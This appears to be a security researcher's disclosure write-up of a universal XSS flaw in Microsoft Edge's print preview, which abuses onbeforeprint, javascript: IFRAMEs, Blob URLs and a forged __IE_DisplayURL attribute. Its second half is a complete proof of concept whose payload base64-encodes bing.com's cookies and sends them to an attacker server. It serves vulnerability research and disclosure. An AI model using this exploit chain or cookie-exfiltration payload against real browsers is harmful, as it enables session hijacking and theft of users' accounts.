The universal XSS (uXSS) is a coveted bug in browsers, it gives you the ability to execute Javascript as any website.
It's like having an XSS in all websites which is pretty interesting. What's more interesting is the way I found this bug - You see, usually when I imagine uXSS bugs it's something to do with the IFRAME element or messing around with the URL. But I never imagined I would find a uXSS bug using the 'print()'
function.
Let's talk about what actually happens when Edge displays a print preview window.
I always assumed it was just a screenshot drawn into a Canvas type technology, but in fact the page you are printing is copied into a temporary location and re-rendered!
When we execute 'print()'
in a page, we see the following file system activity in Process Monitor:
So, a file is being created in Edge temporary directory and the content of this file is a slightly modified version of the original page we were trying to print. Let's compare.
Before print:
<!doctype html> <html> <head> <title>Printer Button</title> </head> <body> <button id="qbutt">Print!</button> <iframe src="https://www.bing.com/?q=example"></iframe> <script> qbutt.onclick=e=>{ window.print(); } </script> </body> </html>
<!DOCTYPE HTML> <!DOCTYPE html PUBLIC "" ""><HTML __IE_DisplayURL="http://q.leucosite.com:777/printExample.html"><HEAD><META content="text/html; charset=utf-8" http-equiv=Content-Type> <BASE HREF="http://q.leucosite.com:777/printExample.html"> <STYLE> HTML { font-family : "Times New Roman" } </STYLE><TITLE>Printer Button</TITLE></HEAD><BODY><BUTTON id="qbutt">Print!</BUTTON> <IFRAME src="file://C:\Users\Q\AppData\Local\Packages\microsoft.microsoftedge_8wekyb3d8bbwe\AC\#!001\Temp\3P9TBP2L.htm"></IFRAME> <SCRIPT> qbutt.onclick=e=>{ window.print(); } </SCRIPT> </BODY></HTML>
'__IE_DisplayURL'
'<script>'
element, despite being valid or invalid, is not executed. '@media print{}'
functionality plus CSS selector magic to grab the OS username from the resulting IFRAME href value. However, this was not good enough. 'file:'
URI scheme. However, with this attribute hinting to the origin, you will notice all requests coming from this document (within print preview) will mimic the exact same behavior as if it's coming from the original website.
Like I said before, any Javascript coming from within a normal SCRIPT tag will be blocked or just ignored. But what about other vectors? So I tried everything under the sun that I could think of and I will spare you all the failed attempts and get straight to the point.
We are dealing with a print function here, so naturally I played with the print related events, the one that got me a result was 'onbeforeprint'
, using it got me the ability to inject an IFRAME that points to any website without having Edge convert it into a file first. So almost immediately I tried injecting an IFRAME which was pointing to a Javascript URL and boom! That particular Javascript was executed in the print preview context.
The Javascript injection test:
<!doctype html> <html> <head> <title>Printer Button</title> </head> <body> <button id="qbutt">Print!</button> <div id="qcontent"></div> <script> qbutt.onclick=e=>{ window.print(); } window.onbeforeprint=function(e){ qcontent.innerHTML=`<iframe src="javascript:if(top.location.protocol=='file:'){document.write('in print preview')}"></iframe>`; } </script> </body> </html>
<!DOCTYPE HTML> <!DOCTYPE html PUBLIC "" ""><HTML __IE_DisplayURL="http://q.leucosite.com/dl.html"><HEAD><META content="text/html; charset=windows-1252" http-equiv=Content-Type> <BASE HREF="http://q.leucosite.com/dl.html"> <STYLE> HTML { font-family : "Times New Roman" } </STYLE><TITLE>Printer Button</TITLE></HEAD><BODY><BUTTON id="qbutt">Print!</BUTTON> <DIV id="qcontent"><IFRAME src="javascript:if(top.location.protocol=='file:'){document.write('in print preview')}"></IFRAME></DIV> <SCRIPT> qbutt.onclick=e=>{ window.print(); } window.onbeforeprint=function(e){ qcontent.innerHTML=`<iframe src="javascript:if(top.location.protocol=='file:'){document.write('in print preview')}"></iframe>`; } </SCRIPT> </BODY></HTML>
'__IE_DisplayURL'
attribute then any request or API will be treated as if coming from the original document origin.
Now that we have the Javascript execution, we need to somehow construct our own 'print preview document' with our own custom '__IE_DisplayURL'
and then we can mimic any website we choose resulting in uXSS.
I found that using a Blob URL I was able to achieve exactly that! So I made my own print document with the custom attribute pointing to my target website ('bing.com' in this case) and it contained a Javascript IFRAME which will execute as if it's from 'bing.com' itself.
I injected the following Javascript:
if (top.location.protocol == 'file:') { setTimeout(function() { top.location = URL.createObjectURL(new Blob([top.document.getElementById('qd').value], { type: 'text/html' })) }, 1000) }
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><HTML __IE_DisplayURL="https://www.bing.com/"><HEAD><META content="text/html; charset=windows-1252" http-equiv=Content-Type> <BASE HREF="https://www.bing.com/"> <STYLE> HTML { font-family : "Times New Roman" } </STYLE> <STYLE>iframe { width: 300px; height: 300px; } </STYLE> </HEAD><BODY> <iframe id="qif" src="javascript:qa=top.document.createElement('img');qa.src='http://localhost:8080/?'+escape(btoa(top.document.cookie));top.document.body.appendChild(qa);'just sent the following data to attacker server:<br>'+top.document.cookie"> </BODY></HTML>
'onbeforeprint'
event, I insert an IFRAME that points to my Javascript payload right before printing.window.print()
to initiate.'__IE_DisplayURL'
attribute.'document.cookie'
of 'bing.com'
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <head> <style>iframe{width:300px;height:300px;}</style> </head> <body> <!-- -----------------------------HTML for our blob------------------------------------ --> <textarea id="qd"> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><HTML __IE_DisplayURL="https://www.bing.com/"><HEAD><META content="text/html; charset=windows-1252" http-equiv=Content-Type> <BASE HREF="https://www.bing.com/"> <STYLE> HTML { font-family : "Times New Roman" } </STYLE> <STYLE>iframe { width: 300px; height: 300px; } </STYLE> </HEAD><BODY> <iframe id="qif" src="javascript:qa=top.document.createElement('img');qa.src='http://localhost:8080/?'+escape(btoa(top.document.cookie));top.document.body.appendChild(qa);'just sent the following data to attacker server:<br>'+top.document.cookie"> </BODY></HTML> </textarea> <!-- ---------------------------------------------------------------------------- --> <script> var qdiv=document.createElement('div'); document.body.appendChild(qdiv); window.onbeforeprint=function(e){ qdiv.innerHTML=`<iframe src="javascript:if(top.location.protocol=='file:'){setTimeout(function(){top.location=URL.createObjectURL(new Blob([top.document.getElementById('qd').value],{type:'text/html'}))},1000)}"></iframe>`; } window.print(); </script> <style> </style> </body> </html>